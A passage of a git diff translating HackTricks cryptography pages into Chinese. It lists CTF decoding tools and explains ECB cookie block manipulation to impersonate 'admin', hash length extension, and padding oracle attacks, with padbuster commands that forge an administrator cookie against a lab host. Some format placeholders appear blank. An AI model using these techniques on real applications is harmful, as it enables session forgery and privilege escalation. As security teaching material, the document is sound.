-- _**Google it**_
+- _**谷歌一下**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@@ -16,124 +16,117 @@
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
-## Magic Autosolvers
+## 魔法自动解码器
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
-- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
+- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (魔法模块)
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
-## Encoders
+## 编码器
-Most of encoded data can be decoded with these 2 ressources:
+大多数编码数据可以通过这两个资源解码:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
-### Substitution Autosolvers
+### 替换自动解码器
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
-- [https://quipqiup.com/](https://quipqiup.com) - Very good !
+- [https://quipqiup.com/](https://quipqiup.com) - 非常好!
-#### Caesar - ROTx Autosolvers
+#### 凯撒 - ROTx 自动解码器
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
-#### Atbash Cipher
+#### Atbash 密码
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
-### Base Encodings Autosolver
+### 基础编码自动解码器
-Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
+使用以下链接检查所有这些基础:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- - `BQEKGAHRJKHQMVZGKUXNT`
+- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- - `NBXWYYLDMFZGCY3PNRQQ====`
+- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- - `pbzsaamdcf3gna5xptoo====`
+- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- - `e1rqssc3d5t62svgejhh====`
+- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- - `D1QPRRB3C5S62RVFDHGG====`
+- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- - `D1NMOOB3C5P62ORFDHGG====`
+- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- - `59DPVDGPCVKEUPCPVD`
+- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- - `2yJiRg5BF9gmsU6AC`
+- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- - `2YiHqF5bf9FLSt6ac`
+- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- - `pyJ5RgnBE9gm17awU`
+- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- - `g2AextRZpBKRBzQ9`
+- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- - `aG9sYWNhcmFjb2xh`
+- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- - `NI9JKX0cSUdqhr!p`
+- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `BQ%]q@psCd@rH0l`
+- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `<~BQ%]q@psCd@rH0l~>`
+- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- - `Xm4y`V\_|Y(V{dF>\`
+- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
+- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- - `Xm4y|V{~Y+V}dF?`
+- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- - `frDg[*jNN!7&BQM`
+- `frDg[*jNN!7&BQM`
- **Base100** \[]
- - `👟👦👣👘👚👘👩👘👚👦👣👘`
+- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- - `4F ˂r0Xmvc`
+- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- - `MIc3KiXa+Ihz+lrXMIc3KbCC`
+- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- - `DmPsv8J7qrlKEoY7`
+- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- - `kLD8iwKsigSalLJ5`
+- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- - `ayRiIo1gpO+uUc7g`
+- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
- - `3sHcL2NR8WrT7mhR`
+- `3sHcL2NR8WrT7mhR`
- **MEGAN45** \[]
- - `kLD8igSXm2KZlwrX`
+- `kLD8igSXm2KZlwrX`
- **TIGO3FX** \[]
- - `7AP9mIzdmltYmIP9mWXX`
+- `7AP9mIzdmltYmIP9mWXX`
- **TRIPO5** \[]
- - `UE9vSbnBW6psVzxB`
+- `UE9vSbnBW6psVzxB`
- **FERON74** \[]
- - `PbGkNudxCzaKBm0x`
+- `PbGkNudxCzaKBm0x`
- **GILA7** \[]
- - `D+nkv8C1qIKMErY1`
+- `D+nkv8C1qIKMErY1`
- **Citrix CTX1** \[]
- - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
-[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
### HackerizeXS \[_╫Λ↻├☰┏_]
-
```
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
-
-### Morse
-
+### 摩尔斯
```
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
```
-
-- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 死链接: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
### UUencoder
-
```
begin 644 webutils_pl
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
@@ -142,129 +135,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
`
end
```
-
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
### XXEncoder
-
```
begin 644 webutils_pl
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
5Hol-G2xAEE++
end
```
-
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
### YEncoder
-
```
=ybegin line=128 size=28 name=webutils_pl
ryvkryvkryvkryvkryvkryvkryvk
=yend size=28 crc32=35834c86
```
-
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
### BinHex
-
```
(This file must be converted with BinHex 4.0)
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
-38K26%'d9J!!:
```
-
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
### ASCII85
-
```
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
```
-
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
-### Dvorak keyboard
-
+### Dvorak 键盘
```
drnajapajrna
```
-
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
### A1Z26
-Letters to their numerical value
-
+字母对应其数字值
```
8 15 12 1 3 1 18 1 3 15 12 1
```
+### 仿射密码编码
-### Affine Cipher Encode
-
-Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
-
+字母到数字 `(ax+b)%26` (_a_ 和 _b_ 是密钥,_x_ 是字母) 并将结果转换回字母
```
krodfdudfrod
```
+### 短信代码
-### SMS Code
+**Multitap** [通过重复的数字](https://www.dcode.fr/word-letter-change) 替换一个字母,这些数字由手机 [键盘](https://www.dcode.fr/phone-keypad-cipher) 上对应的键码定义(此模式在编写短信时使用)。\
+例如:2=A, 22=B, 222=C, 3=D...\
+你可以识别这个代码,因为你会看到\*\*几个数字重复\*\*。
-**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
-For example: 2=A, 22=B, 222=C, 3=D...\
-You can identify this code because you will see\*\* several numbers repeated\*\*.
+你可以在以下网址解码此代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
-
-### Bacon Code
-
-Substitude each letter for 4 As or Bs (or 1s and 0s)
+### 培根代码
+将每个字母替换为4个A或B(或1和0)
```
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
```
-
-### Runes
+### 符文

-## Compression
+## 压缩
-**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
+**Raw Deflate** 和 **Raw Inflate**(你可以在 Cyberchef 中找到这两者)可以在没有头部的情况下压缩和解压数据。
-## Easy Crypto
+## 简易加密
-### XOR - Autosolver
+### XOR - 自动解密器
- [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/)
### Bifid
-A keywork is needed
-
+需要一个关键字
```
fgaargaamnlunesuneoa
```
-
### Vigenere
-A keywork is needed
-
+需要一个关键词
```
wodsyoidrods
```
-
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
-## Strong Crypto
+## 强加密
### Fernet
-2 base64 strings (token and key)
-
+2 个 base64 字符串(令牌和密钥)
```
Token:
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
@@ -272,27 +243,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
Key:
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
```
-
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
-### Samir Secret Sharing
-
-A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
+### Samir 秘密共享
+一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_)。
```
8019f8fa5879aa3e07858d08308dc1a8b45
80223035713295bddf0b0bd1b10a5340b89
803bc8cf294b3f83d88e86d9818792e80cd
```
-
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
-### OpenSSL brute-force
+### OpenSSL 暴力破解
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
-## Tools
+## 工具
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md
index a09798b1e..9f7078a54 100644
--- a/src/cryptography/electronic-code-book-ecb.md
+++ b/src/cryptography/electronic-code-book-ecb.md
@@ -2,72 +2,66 @@
# ECB
-(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
+(ECB) 电子密码本 - 对称加密方案,**将明文的每个块**替换为**密文的块**。它是**最简单的**加密方案。主要思想是将明文**分割**成**N位的块**(取决于输入数据的块大小和加密算法),然后使用唯一的密钥对每个明文块进行加密(解密)。

-Using ECB has multiple security implications:
+使用ECB有多种安全隐患:
-- **Blocks from encrypted message can be removed**
-- **Blocks from encrypted message can be moved around**
+- **可以移除加密消息中的块**
+- **可以移动加密消息中的块**
-# Detection of the vulnerability
+# 漏洞检测
-Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\
-Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
-You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
-
-Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
+想象一下,你多次登录一个应用程序,并且**总是得到相同的cookie**。这是因为该应用程序的cookie是**`|`**。\
+然后,你生成两个新用户,他们都有**相同的长密码**和**几乎相同的** **用户名**。\
+你发现**8B的块**中**两个用户的信息**是**相同的**。然后,你想象这可能是因为**正在使用ECB**。
+如以下示例所示。观察这**两个解码的cookie**中有几次块**`\x23U\xE45K\xCB\x21\xC8`**。
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
+这是因为这些 cookie 的 **用户名和密码包含了多次字母 "a"**(例如)。**不同的** **块** 是包含 **至少 1 个不同字符** 的块(可能是分隔符 "|" 或用户名中的某些必要差异)。
-This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
+现在,攻击者只需发现格式是 `` 还是 ``。为此,他可以 **生成多个相似且较长的用户名和密码,直到找到格式和分隔符的长度:**
-Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
+| 用户名长度: | 密码长度: | 用户名+密码长度: | Cookie 的长度(解码后): |
+| ------------ | ---------- | ----------------- | ------------------------- |
+| 2 | 2 | 4 | 8 |
+| 3 | 3 | 6 | 8 |
+| 3 | 4 | 7 | 8 |
+| 4 | 4 | 8 | 16 |
+| 7 | 7 | 14 | 16 |
-| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
-| ---------------- | ---------------- | ------------------------- | --------------------------------- |
-| 2 | 2 | 4 | 8 |
-| 3 | 3 | 6 | 8 |
-| 3 | 4 | 7 | 8 |
-| 4 | 4 | 8 | 16 |
-| 7 | 7 | 14 | 16 |
+# 漏洞利用
-# Exploitation of the vulnerability
-
-## Removing entire blocks
-
-Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
+## 移除整个块
+知道 cookie 的格式(`|`),为了冒充用户名 `admin`,创建一个名为 `aaaaaaaaadmin` 的新用户并获取 cookie 并解码它:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
-
-We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
-Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
-
+我们可以看到之前用仅包含 `a` 的用户名创建的模式 `\x23U\xE45K\xCB\x21\xC8`。\
+然后,您可以删除第一个 8B 块,您将获得一个有效的用户名 `admin` 的 cookie:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
+## 移动块
-## Moving blocks
+在许多数据库中,搜索 `WHERE username='admin';` 或 `WHERE username='admin ';` 是一样的 _(注意额外的空格)_
-In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
+因此,冒充用户 `admin` 的另一种方法是:
-So, another way to impersonate the user `admin` would be to:
+- 生成一个用户名:`len() + len(` 将生成 2 个 8B 的块。
+- 然后,生成一个密码,填充包含我们想要冒充的用户名和空格的确切块数,例如:`admin `
-- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs.
-- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
+该用户的 cookie 将由 3 个块组成:前 2 个是用户名 + 分隔符的块,第三个是密码(伪装成用户名):`username |admin `
-The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
+**然后,只需用最后一个块替换第一个块,就可以冒充用户 `admin`:`admin |username`**
-**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
-
-## References
+## 参考
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]()
diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md
index 837cedd01..1940a74b2 100644
--- a/src/cryptography/hash-length-extension-attack.md
+++ b/src/cryptography/hash-length-extension-attack.md
@@ -1,36 +1,36 @@
{{#include ../banners/hacktricks-training.md}}
-# Summary of the attack
+# 攻击总结
-Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
+想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道:
-- **The length of the secret** (this can be also bruteforced from a given length range)
-- **The clear text data**
-- **The algorithm (and it's vulnerable to this attack)**
-- **The padding is known**
- - Usually a default one is used, so if the other 3 requirements are met, this also is
- - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
+- **秘密的长度**(这也可以从给定的长度范围进行暴力破解)
+- **明文数据**
+- **算法(并且它对这种攻击是脆弱的)**
+- **填充是已知的**
+- 通常使用默认填充,因此如果满足其他三个要求,这也是
+- 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度
-Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
+那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
-## How?
+## 如何?
-Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
+基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**对其进行哈希**。
-Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
-If an attacker wants to append the string "append" he can:
+然后,想象秘密是“secret”,数据是“data”,"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\
+如果攻击者想要附加字符串“append”,他可以:
-- Generate a MD5 of 64 "A"s
-- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
-- Append the string "append"
-- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
+- 生成64个“A”的MD5
+- 将之前初始化的哈希状态更改为6036708eba0d11f6ef52ad44e8b74d5b
+- 附加字符串“append”
+- 完成哈希,结果哈希将是“secret” + “data” + “padding” + “append”的**有效哈希**
-## **Tool**
+## **工具**
{% embed url="https://github.com/iagox86/hash_extender" %}
-## References
+## 参考
-You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
+你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对这个攻击的详细解释。
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/padding-oracle-priv.md b/src/cryptography/padding-oracle-priv.md
index 499b42d4b..054e8ee63 100644
--- a/src/cryptography/padding-oracle-priv.md
+++ b/src/cryptography/padding-oracle-priv.md
@@ -2,26 +2,24 @@
-{% embed url="https://websec.nl/" %}
+# CBC - 密码块链接
-# CBC - Cipher Block Chaining
-
-In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
+在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作:

-To decrypt CBC the **opposite** **operations** are done:
+要解密 CBC,需进行**相反的** **操作**:

-Notice how it's needed to use an **encryption** **key** and an **IV**.
+注意需要使用**加密** **密钥**和**IV**。
-# Message Padding
+# 消息填充
-As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
-Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
+由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\
+通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。
-Let's look at more examples with a **2 blocks of length 8bytes**:
+让我们看更多的例子,使用**2 个长度为 8 字节的块**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
-Note how in the last example the **last block was full so another one was generated only with padding**.
+注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。
-# Padding Oracle
+# 填充 oracle
-When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**.
+当应用程序解密加密数据时,它会首先解密数据;然后会移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
-If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**.
+如果你检测到这种行为,你可以**解密加密数据**,甚至**加密任何明文**。
-## How to exploit
-
-You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do
+## 如何利用
+你可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞,或者直接进行
```
sudo apt-get install padbuster
```
-
-In order to test if the cookie of a site is vulnerable you could try:
-
+为了测试一个网站的cookie是否存在漏洞,你可以尝试:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
+**编码 0** 意味着使用 **base64**(但还有其他可用的编码,请查看帮助菜单)。
-**Encoding 0** means that **base64** is used (but others are available, check the help menu).
-
-You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter:
-
+您还可以 **利用此漏洞加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",那么您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
-
-If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter.
-
+如果网站存在漏洞,`padbuster`将自动尝试查找何时发生填充错误,但您也可以使用**-error**参数指示错误消息。
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
+## 理论
-## The theory
-
-In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**.
+**总结**来说,您可以通过猜测可以用于创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将从末尾到开头解密字节,猜测哪个将是**创建1、2、3等填充的正确值**。
 (1) (1).png>)
-Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
-In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
-Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
+想象一下,您有一些加密文本,占据**2个块**,由**E0到E15**的字节组成。\
+为了**解密**最后一个**块**(**E8**到**E15**),整个块通过“块密码解密”,生成**中间字节I0到I15**。\
+最后,每个中间字节与之前的加密字节(E0到E7)进行**异或**运算。因此:
- `C15 = D(E15) ^ E7 = I15 ^ E7`
- `C14 = I14 ^ E6`
@@ -82,33 +72,31 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
- `C12 = I12 ^ E4`
- ...
-Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
+现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
